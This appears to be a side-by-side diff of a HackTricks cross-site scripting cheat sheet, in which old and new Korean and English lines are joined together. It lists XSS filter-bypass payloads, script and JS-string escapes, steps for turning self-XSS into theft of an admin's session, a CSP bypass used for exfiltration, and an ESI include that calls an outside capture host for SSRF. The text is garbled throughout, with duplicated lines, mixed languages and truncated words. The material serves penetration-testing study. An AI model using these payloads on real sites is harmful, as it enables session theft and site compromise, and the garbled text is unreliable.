### 이벤트 핸들러 우회 ### 이벤트 핸들러 우회
우선 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻기 위해 이 페이지를 확인하세요 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\ 우선 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻기 위해 이 페이지를 확인하세요 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
이벤트 핸들러 생성을 방하는 블랙리스트가 있는 경우, 다음 우회 방법을 시도해 볼 수 있습니다: 이벤트 핸들러 생성을 방하는 블랙리스트가 있는 경우, 다음 우회 방법을 시도해 볼 수 있습니다:
```javascript ```javascript
<svg onload%09=alert(1)> //No safari <svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)> <svg %09onload=alert(1)>
@ -424,7 +424,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
<button popovertarget="newsletter">Subscribe to newsletter</button> <button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div> <div popover id="newsletter">Newsletter popup</div>
``` ```
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**할 수 있어야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다: [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
```markup ```markup
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
``` ```
@ -450,11 +450,11 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
### CSS-가젯 ### CSS-가젯
웹의 **아주 작은 부분**에서 **XSS를 발견**하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다. 웹의 **아주 작은 부분**에서 **XSS를 발견**하고 상호작용이 필요한 경우(예: 마우스를 올렸을 때 작동하는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어 하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어,
> .test {display:block; color: blue; width: 100%\} > .test {display:block; color: blue; width: 100%\}
@ -470,7 +470,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
## JavaScript 코드 내 주입 ## JavaScript 코드 내 주입
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다. 이 경우 **입력**이 `.js` 파일의 **JS 코드 내에 반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다.
### \<script> 태그 이스케이프 ### \<script> 태그 이스케이프
@ -478,11 +478,11 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
```javascript ```javascript
</script><img src=1 onerror=alert(document.domain)> </script><img src=1 onerror=alert(document.domain)>
``` ```
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript를 파싱하여 내장된 스크립트를 이해하고 실행하는 것은 그 이후에 수행됩니다. Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
### JS 코드 내부 ### Inside JS code
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다: If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:
``` ```
'-alert(document.domain)-' '-alert(document.domain)-'
';alert(document.domain)// ';alert(document.domain)//
@ -493,7 +493,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
문자열을 생성하기 위해 JS는 단일 및 이중 따옴표 외에도 **백틱** **` `` `**을 허용합니다. 이는 템플릿 리터럴로 알려져 있으며 `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\ 문자열을 생성하기 위해 JS는 단일 및 이중 따옴표 외에도 **백틱** **` `` `**을 허용합니다. 이는 템플릿 리터럴로 알려져 있으며 `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면 `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다: 따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면 `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
이것은 다음을 사용하여 **악용**할 수 있습니다: 이것은 다음과 같이 **악용**될 수 있습니다:
```javascript ```javascript
`${alert(1)}` `${alert(1)}`
`${`${`${`${alert(1)}`}`}`}` `${`${`${`${alert(1)}`}`}`}`
@ -743,13 +743,13 @@ top[8680439..toString(30)](1)
{% endcontent-ref %} {% endcontent-ref %}
여기에서 **DOM 취약점이 무엇인지, 어떻게 유발되는지, 그리고 어떻게 악용되는지에 대한 자세한 설명을 찾을 수 있습니다**.\ 여기에서 **DOM 취약점이 무엇인지, 어떻게 유발되는지, 그리고 어떻게 악용되는지에 대한 자세한 설명을 찾을 수 있습니다**.\
또한, **언급된 게시물의 끝에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요. 또한, 언급된 게시물의 **부분에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
### Self-XSS 업그레이드 ### Self-XSS 업그레이드
### 쿠키 XSS ### 쿠키 XSS
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다: 쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -759,11 +759,11 @@ top[8680439..toString(30)](1)
### 세션을 관리자에게 전송하기 ### 세션을 관리자에게 전송하기
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 취약점을 유발할 수 있습니다. 사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점을 유발할 수 있습니다.
### 세션 미러링 ### 세션 미러링
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다. self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있다면, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 의 세션에서 보게 됩니다.
당신은 **관리자가 당신의 self XSS를 유발하게 하여 그의 쿠키/세션을 훔칠 수 있습니다**. 당신은 **관리자가 당신의 self XSS를 유발하게 하여 그의 쿠키/세션을 훔칠 수 있습니다**.
@ -784,11 +784,11 @@ self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
"Key", "Value" 쌍은 다음과 같이 에코됩니다: "Key","Value" 쌍은 다음과 같이 에코됩니다:
``` ```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"} {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
``` ```
런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다. onfocus 속성이 삽입되고 XSS가 발생합니다.
### 특별한 조합 ### 특별한 조합
```markup ```markup
@ -822,22 +822,22 @@ document['default'+'View'][`\u0061lert`](3)
``` ```
### XSS with header injection in a 302 response ### XSS with header injection in a 302 response
만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다. 만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하고, 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\ [**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하고, 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`. 과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
### Only Letters, Numbers and Dots ### Only Letters, Numbers and Dots
만약 JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면, [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요. JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](./#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
### Valid `<script>` Content-Types to XSS ### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 만약 `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다: (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled. > Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chrome이 **로드된 스크립트**를 실행할 수 있도록 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다. Chrome이 **로드된 스크립트**를 실행하는 것을 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다.
```c ```c
const char* const kSupportedJavascriptTypes[] = { const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript", "application/ecmascript",
@ -867,8 +867,8 @@ const char* const kSupportedJavascriptTypes[] = {
``` ```
The answer is: The answer is:
* **module** (기본값, 설명할 것이 없음) * **모듈** (기본, 설명할 것이 없음)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles는 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다. * [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
```html ```html
<script type="webbundle"> <script type="webbundle">
{ {
@ -1088,7 +1088,7 @@ trigger()
### Iframe 트랩 ### Iframe 트랩
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함): 사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함하여):
{% content-ref url="../iframe-traps.md" %} {% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md) [iframe-traps.md](../iframe-traps.md)
@ -1309,7 +1309,7 @@ document.getElementById("message").src += "&"+e.data;
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... --> <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div> <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
``` ```
### Regex - 숨겨진 콘텐츠 접근 ### Regex - Access Hidden Content
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라져도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다: [**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라져도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
```javascript ```javascript
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### SSRF로의 XSS ### SSRF로의 XSS
**캐싱을 사용하는 사이트에서 XSS를 얻었나요?** 이 페이로드를 사용하여 **그것을 SSRF로 업그레이드해보세요**: **캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해보세요:
```python ```python
<esi:include src="http://yoursite.com/capture" /> <esi:include src="http://yoursite.com/capture" />
``` ```
@ -1430,15 +1430,15 @@ id="foo"/>
```xml ```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /> <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
``` ```
Find **더 많은 SVG 페이로드는** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## 기타 JS 트릭 및 관련 정보 ## Misc JS Tricks & Relevant Info
{% content-ref url="other-js-tricks.md" %} {% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md) [other-js-tricks.md](other-js-tricks.md)
{% endcontent-ref %} {% endcontent-ref %}
## XSS 리소스 ## XSS resources
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) * [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
@ -1446,9 +1446,9 @@ Find **더 많은 SVG 페이로드는** [**https://github.com/allanlw/svg-cheats
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **해킹 경력** and hack the unhackable - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구술 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -1458,11 +1458,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<details> <details>
<summary>HackTricks 지원하기</summary> <summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}